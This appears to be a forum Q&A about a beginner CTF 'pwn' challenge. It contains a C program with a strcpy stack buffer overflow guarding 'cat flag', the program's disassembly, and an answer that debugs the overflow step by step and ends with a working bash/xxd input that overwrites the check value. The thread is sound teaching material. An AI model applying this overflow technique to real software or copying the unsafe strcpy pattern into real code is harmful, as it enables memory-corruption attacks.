I am very new to PWN and have very less idea how to solve PWN problems. Recently, I came across a Capture The Flag (CTF) challenge, where I found a pwn to find out the flag. I am using Linux-Ubuntu -16.04.
Below program is a PWN program running on some remote machine, where I can 'netcat' & send an input string. As per my so far understanding on problem, buffer overflow will happen in below code (line 9) during strcpy(), there memory overwriting will take place. So, that is the vulnerability point I believe. Somehow, I need to make use of that vulnerability, so that 'flag' could be read from the remote machine.
Copying the code below:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void f(char *s) {
int cookie = 1;
char buf[10];
strcpy(buf, s);
if (cookie != 0xcafebabe) {
printf("fail...\n");
exit(1);
}
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char s[100] = { 0 };
fgets(s, 99, stdin);
s[99] = '\0';
f(s);
system("cat flag");
return 0;
}
I tried few basic steps as per the online tutorials, like reading the ELF, disassembling the code, but I am not sure how to proceed and solve this.
Here is the assembly code for same:
Disassembly of section .init:
00000000004005d0 <_init>:
4005d0: 48 83 ec 08 sub $0x8,%rsp
4005d4: 48 8b 05 1d 0a 20 00 mov 0x200a1d(%rip),%rax # 600ff8 <_DYNAMIC+0x1d0>
4005db: 48 85 c0 test %rax,%rax
4005de: 74 05 je 4005e5 <_init+0x15>
4005e0: e8 7b 00 00 00 callq 400660 <__gmon_start__@plt>
4005e5: 48 83 c4 08 add $0x8,%rsp
4005e9: c3 retq
Disassembly of section .plt:
00000000004005f0 <strcpy@plt-0x10>:
4005f0: ff 35 12 0a 20 00 pushq 0x200a12(%rip) # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
4005f6: ff 25 14 0a 20 00 jmpq *0x200a14(%rip) # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
4005fc: 0f 1f 40 00 nopl 0x0(%rax)
0000000000400600 <strcpy@plt>:
400600: ff 25 12 0a 20 00 jmpq *0x200a12(%rip) # 601018 <_GLOBAL_OFFSET_TABLE_+0x18>
400606: 68 00 00 00 00 pushq $0x0
40060b: e9 e0 ff ff ff jmpq 4005f0 <_init+0x20>
0000000000400610 <puts@plt>:
400610: ff 25 0a 0a 20 00 jmpq *0x200a0a(%rip) # 601020 <_GLOBAL_OFFSET_TABLE_+0x20>
400616: 68 01 00 00 00 pushq $0x1
40061b: e9 d0 ff ff ff jmpq 4005f0 <_init+0x20>
0000000000400620 <__stack_chk_fail@plt>:
400620: ff 25 02 0a 20 00 jmpq *0x200a02(%rip) # 601028 <_GLOBAL_OFFSET_TABLE_+0x28>
400626: 68 02 00 00 00 pushq $0x2
40062b: e9 c0 ff ff ff jmpq 4005f0 <_init+0x20>
0000000000400630 <system@plt>:
400630: ff 25 fa 09 20 00 jmpq *0x2009fa(%rip) # 601030 <_GLOBAL_OFFSET_TABLE_+0x30>
400636: 68 03 00 00 00 pushq $0x3
40063b: e9 b0 ff ff ff jmpq 4005f0 <_init+0x20>
0000000000400640 <__libc_start_main@plt>:
400640: ff 25 f2 09 20 00 jmpq *0x2009f2(%rip) # 601038 <_GLOBAL_OFFSET_TABLE_+0x38>
400646: 68 04 00 00 00 pushq $0x4
40064b: e9 a0 ff ff ff jmpq 4005f0 <_init+0x20>
0000000000400650 <fgets@plt>:
400650: ff 25 ea 09 20 00 jmpq *0x2009ea(%rip) # 601040 <_GLOBAL_OFFSET_TABLE_+0x40>
400656: 68 05 00 00 00 pushq $0x5
40065b: e9 90 ff ff ff jmpq 4005f0 <_init+0x20>
0000000000400660 <__gmon_start__@plt>:
400660: ff 25 e2 09 20 00 jmpq *0x2009e2(%rip) # 601048 <_GLOBAL_OFFSET_TABLE_+0x48>
400666: 68 06 00 00 00 pushq $0x6
40066b: e9 80 ff ff ff jmpq 4005f0 <_init+0x20>
0000000000400670 <setvbuf@plt>:
400670: ff 25 da 09 20 00 jmpq *0x2009da(%rip) # 601050 <_GLOBAL_OFFSET_TABLE_+0x50>
400676: 68 07 00 00 00 pushq $0x7
40067b: e9 70 ff ff ff jmpq 4005f0 <_init+0x20>
0000000000400680 <exit@plt>:
400680: ff 25 d2 09 20 00 jmpq *0x2009d2(%rip) # 601058 <_GLOBAL_OFFSET_TABLE_+0x58>
400686: 68 08 00 00 00 pushq $0x8
40068b: e9 60 ff ff ff jmpq 4005f0 <_init+0x20>
Disassembly of section .text:
0000000000400690 <_start>:
400690: 31 ed xor %ebp,%ebp
400692: 49 89 d1 mov %rdx,%r9
400695: 5e pop %rsi
400696: 48 89 e2 mov %rsp,%rdx
400699: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp
40069d: 50 push %rax
40069e: 54 push %rsp
40069f: 49 c7 c0 20 09 40 00 mov $0x400920,%r8
4006a6: 48 c7 c1 b0 08 40 00 mov $0x4008b0,%rcx
4006ad: 48 c7 c7 e5 07 40 00 mov $0x4007e5,%rdi
4006b4: e8 87 ff ff ff callq 400640 <__libc_start_main@plt>
4006b9: f4 hlt
4006ba: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)
00000000004006c0 <deregister_tm_clones>:
4006c0: b8 77 10 60 00 mov $0x601077,%eax
4006c5: 55 push %rbp
4006c6: 48 2d 70 10 60 00 sub $0x601070,%rax
4006cc: 48 83 f8 0e cmp $0xe,%rax
4006d0: 48 89 e5 mov %rsp,%rbp
4006d3: 77 02 ja 4006d7 <deregister_tm_clones+0x17>
4006d5: 5d pop %rbp
4006d6: c3 retq
4006d7: b8 00 00 00 00 mov $0x0,%eax
4006dc: 48 85 c0 test %rax,%rax
4006df: 74 f4 je 4006d5 <deregister_tm_clones+0x15>
4006e1: 5d pop %rbp
4006e2: bf 70 10 60 00 mov $0x601070,%edi
4006e7: ff e0 jmpq *%rax
4006e9: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
00000000004006f0 <register_tm_clones>:
4006f0: b8 70 10 60 00 mov $0x601070,%eax
4006f5: 55 push %rbp
4006f6: 48 2d 70 10 60 00 sub $0x601070,%rax
4006fc: 48 c1 f8 03 sar $0x3,%rax
400700: 48 89 e5 mov %rsp,%rbp
400703: 48 89 c2 mov %rax,%rdx
400706: 48 c1 ea 3f shr $0x3f,%rdx
40070a: 48 01 d0 add %rdx,%rax
40070d: 48 d1 f8 sar %rax
400710: 75 02 jne 400714 <register_tm_clones+0x24>
400712: 5d pop %rbp
400713: c3 retq
400714: ba 00 00 00 00 mov $0x0,%edx
400719: 48 85 d2 test %rdx,%rdx
40071c: 74 f4 je 400712 <register_tm_clones+0x22>
40071e: 5d pop %rbp
40071f: 48 89 c6 mov %rax,%rsi
400722: bf 70 10 60 00 mov $0x601070,%edi
400727: ff e2 jmpq *%rdx
400729: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
0000000000400730 <__do_global_dtors_aux>:
400730: 80 3d 49 09 20 00 00 cmpb $0x0,0x200949(%rip) # 601080 <completed.6982>
400737: 75 11 jne 40074a <__do_global_dtors_aux+0x1a>
400739: 55 push %rbp
40073a: 48 89 e5 mov %rsp,%rbp
40073d: e8 7e ff ff ff callq 4006c0 <deregister_tm_clones>
400742: 5d pop %rbp
400743: c6 05 36 09 20 00 01 movb $0x1,0x200936(%rip) # 601080 <completed.6982>
40074a: f3 c3 repz retq
40074c: 0f 1f 40 00 nopl 0x0(%rax)
0000000000400750 <frame_dummy>:
400750: 48 83 3d c8 06 20 00 cmpq $0x0,0x2006c8(%rip) # 600e20 <__JCR_END__>
400757: 00
400758: 74 1e je 400778 <frame_dummy+0x28>
40075a: b8 00 00 00 00 mov $0x0,%eax
40075f: 48 85 c0 test %rax,%rax
400762: 74 14 je 400778 <frame_dummy+0x28>
400764: 55 push %rbp
400765: bf 20 0e 60 00 mov $0x600e20,%edi
40076a: 48 89 e5 mov %rsp,%rbp
40076d: ff d0 callq *%rax
40076f: 5d pop %rbp
400770: e9 7b ff ff ff jmpq 4006f0 <register_tm_clones>
400775: 0f 1f 00 nopl (%rax)
400778: e9 73 ff ff ff jmpq 4006f0 <register_tm_clones>
000000000040077d <f>:
40077d: 55 push %rbp
40077e: 48 89 e5 mov %rsp,%rbp
400781: 48 83 ec 40 sub $0x40,%rsp
400785: 48 89 7d c8 mov %rdi,-0x38(%rbp)
400789: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
400790: 00 00
400792: 48 89 45 f8 mov %rax,-0x8(%rbp)
400796: 31 c0 xor %eax,%eax
400798: c7 45 dc 01 00 00 00 movl $0x1,-0x24(%rbp)
40079f: 48 8b 55 c8 mov -0x38(%rbp),%rdx
4007a3: 48 8d 45 e0 lea -0x20(%rbp),%rax
4007a7: 48 89 d6 mov %rdx,%rsi
4007aa: 48 89 c7 mov %rax,%rdi
4007ad: e8 4e fe ff ff callq 400600 <strcpy@plt>
4007b2: 81 7d dc be ba fe ca cmpl $0xcafebabe,-0x24(%rbp)
4007b9: 74 14 je 4007cf <f+0x52>
4007bb: bf 34 09 40 00 mov $0x400934,%edi
4007c0: e8 4b fe ff ff callq 400610 <puts@plt>
4007c5: bf 01 00 00 00 mov $0x1,%edi
4007ca: e8 b1 fe ff ff callq 400680 <exit@plt>
4007cf: 48 8b 45 f8 mov -0x8(%rbp),%rax
4007d3: 64 48 33 04 25 28 00 xor %fs:0x28,%rax
4007da: 00 00
4007dc: 74 05 je 4007e3 <f+0x66>
4007de: e8 3d fe ff ff callq 400620 <__stack_chk_fail@plt>
4007e3: c9 leaveq
4007e4: c3 retq
00000000004007e5 <main>:
4007e5: 55 push %rbp
4007e6: 48 89 e5 mov %rsp,%rbp
4007e9: 53 push %rbx
4007ea: 48 83 ec 78 sub $0x78,%rsp
4007ee: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
4007f5: 00 00
4007f7: 48 89 45 e8 mov %rax,-0x18(%rbp)
4007fb: 31 c0 xor %eax,%eax
4007fd: 48 8b 05 74 08 20 00 mov 0x200874(%rip),%rax # 601078 <stdin@@GLIBC_2.2.5>
400804: b9 00 00 00 00 mov $0x0,%ecx
400809: ba 02 00 00 00 mov $0x2,%edx
40080e: be 00 00 00 00 mov $0x0,%esi
400813: 48 89 c7 mov %rax,%rdi
400816: e8 55 fe ff ff callq 400670 <setvbuf@plt>
40081b: 48 8b 05 4e 08 20 00 mov 0x20084e(%rip),%rax # 601070 <__TMC_END__>
400822: b9 00 00 00 00 mov $0x0,%ecx
400827: ba 02 00 00 00 mov $0x2,%edx
40082c: be 00 00 00 00 mov $0x0,%esi
400831: 48 89 c7 mov %rax,%rdi
400834: e8 37 fe ff ff callq 400670 <setvbuf@plt>
400839: 48 8d 55 80 lea -0x80(%rbp),%rdx
40083d: b8 00 00 00 00 mov $0x0,%eax
400842: b9 0c 00 00 00 mov $0xc,%ecx
400847: 48 89 d7 mov %rdx,%rdi
40084a: f3 48 ab rep stos %rax,%es:(%rdi)
40084d: 48 89 fa mov %rdi,%rdx
400850: 89 02 mov %eax,(%rdx)
400852: 48 83 c2 04 add $0x4,%rdx
400856: 48 8b 15 1b 08 20 00 mov 0x20081b(%rip),%rdx # 601078 <stdin@@GLIBC_2.2.5>
40085d: 48 8d 45 80 lea -0x80(%rbp),%rax
400861: be 63 00 00 00 mov $0x63,%esi
400866: 48 89 c7 mov %rax,%rdi
400869: e8 e2 fd ff ff callq 400650 <fgets@plt>
40086e: c6 45 e3 00 movb $0x0,-0x1d(%rbp)
400872: 48 8d 45 80 lea -0x80(%rbp),%rax
400876: 48 89 c7 mov %rax,%rdi
400879: e8 ff fe ff ff callq 40077d <f>
40087e: bf 3c 09 40 00 mov $0x40093c,%edi
400883: e8 a8 fd ff ff callq 400630 <system@plt>
400888: b8 00 00 00 00 mov $0x0,%eax
40088d: 48 8b 5d e8 mov -0x18(%rbp),%rbx
400891: 64 48 33 1c 25 28 00 xor %fs:0x28,%rbx
400898: 00 00
40089a: 74 05 je 4008a1 <main+0xbc>
40089c: e8 7f fd ff ff callq 400620 <__stack_chk_fail@plt>
4008a1: 48 83 c4 78 add $0x78,%rsp
4008a5: 5b pop %rbx
4008a6: 5d pop %rbp
4008a7: c3 retq
4008a8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
4008af: 00
00000000004008b0 <__libc_csu_init>:
4008b0: 41 57 push %r15
4008b2: 41 89 ff mov %edi,%r15d
4008b5: 41 56 push %r14
4008b7: 49 89 f6 mov %rsi,%r14
4008ba: 41 55 push %r13
4008bc: 49 89 d5 mov %rdx,%r13
4008bf: 41 54 push %r12
4008c1: 4c 8d 25 48 05 20 00 lea 0x200548(%rip),%r12 # 600e10 <__frame_dummy_init_array_entry>
4008c8: 55 push %rbp
4008c9: 48 8d 2d 48 05 20 00 lea 0x200548(%rip),%rbp # 600e18 <__init_array_end>
4008d0: 53 push %rbx
4008d1: 4c 29 e5 sub %r12,%rbp
4008d4: 31 db xor %ebx,%ebx
4008d6: 48 c1 fd 03 sar $0x3,%rbp
4008da: 48 83 ec 08 sub $0x8,%rsp
4008de: e8 ed fc ff ff callq 4005d0 <_init>
4008e3: 48 85 ed test %rbp,%rbp
4008e6: 74 1e je 400906 <__libc_csu_init+0x56>
4008e8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
4008ef: 00
4008f0: 4c 89 ea mov %r13,%rdx
4008f3: 4c 89 f6 mov %r14,%rsi
4008f6: 44 89 ff mov %r15d,%edi
4008f9: 41 ff 14 dc callq *(%r12,%rbx,8)
4008fd: 48 83 c3 01 add $0x1,%rbx
400901: 48 39 eb cmp %rbp,%rbx
400904: 75 ea jne 4008f0 <__libc_csu_init+0x40>
400906: 48 83 c4 08 add $0x8,%rsp
40090a: 5b pop %rbx
40090b: 5d pop %rbp
40090c: 41 5c pop %r12
40090e: 41 5d pop %r13
400910: 41 5e pop %r14
400912: 41 5f pop %r15
400914: c3 retq
400915: 66 66 2e 0f 1f 84 00 data32 nopw %cs:0x0(%rax,%rax,1)
40091c: 00 00 00 00
0000000000400920 <__libc_csu_fini>:
400920: f3 c3 repz retq
Disassembly of section .fini:
0000000000400924 <_fini>:
400924: 48 83 ec 08 sub $0x8,%rsp
400928: 48 83 c4 08 add $0x8,%rsp
40092c: c3 retq
If someone could please help / guide me in solving & what I need to do now, I would be really grateful as that will help me in learning this new type of challenges. Thanks in advance.
A few things to note here:
cookie
is assigned only in initialization, and then checked in the if
. Obviously you have to overwrite it somehow to pass the test, and as you surmised correctly, this can done by overflowing buf
.cookie
expected to contain.First, since you have the source, I would make sure I understand what happens on overflow:
void f(char *s) {
int cookie = 0x1;
char buf[10];
strcpy(buf, s);
printf("Cookie[0]: %x\n", *(((unsigned char*)&cookie)+0));
printf("Cookie[1]: %x\n", *(((unsigned char*)&cookie)+1));
printf("Cookie[2]: %x\n", *(((unsigned char*)&cookie)+2));
printf("Cookie[3]: %x\n", *(((unsigned char*)&cookie)+3));
printf("Cookie: %x\n", cookie);
if (cookie != 0xcafebabe) {
printf("fail...\n");
exit(1);
}
}
This prints each byte starting at the place cookie
is stored. Since int
is 4 bytes, I print 4 addresses. Run this first without overflowing to get:
Cookie[0]: 1
Cookie[1]: 0
Cookie[2]: 0
Cookie[3]: 0
Cookie: 1
This is where the endianess is clear - the "1" is in the first most memory address. Now let's try a wrong minimal overflow input 123456789
- 9 characters, leaving one for the null termination. This yields:
Cookie[0]: 0
Cookie[1]: 0
Cookie[2]: 0
Cookie[3]: 0
Cookie: 0
Why is cookie
0? Why did we overflow? It seems we overflow one character, null termination which is 0, a single byte, which was enough to erase the 1 above. Overflow another character to make this clear (1234567890):
Cookie[0]: a
Cookie[1]: 0
Cookie[2]: 0
Cookie[3]: 0
Cookie: a
Remember this is hex (%x
) so a
is actually 10. 10 in ASCII is '\n', and we realize there is an extra character we forgot - the new line. One more just to make sure how this works (12345678900):
Cookie[0]: 30
Cookie[1]: a
Cookie[2]: 0
Cookie[3]: 0
Cookie: a30
30 is 48 in hex - the ASCII for '0', and we understand how we are overwriting the cookie. Note the order at the bottom.
So basically we want the bytes to contain (in hex, which is why the if
condition was such a nice hint): ca
, fe
, ba
, be
. These are weird ASCII characters, and our keyboard does not have an easy way to input them. One way in bash to generate an overflowing string with the correct characters:
echo 0xcafebabe | xxd -r
xxd
translates the hex into the proper ASCII characters. We can use redirection to input this into our program:
out_program <<< 1234567890$(echo 0xcafebabe | xxd -r)
yielding:
Cookie[0]: ca
Cookie[1]: fe
Cookie[2]: ba
Cookie[3]: be
Cookie: bebafeca
The result is upside down in twos - this is since I neglected the little endian thing - first byte is least significant digit, so finally we realize:
out_program <<< 1234567890$(echo 0xbebafeca | xxd -r)
which solves the problem.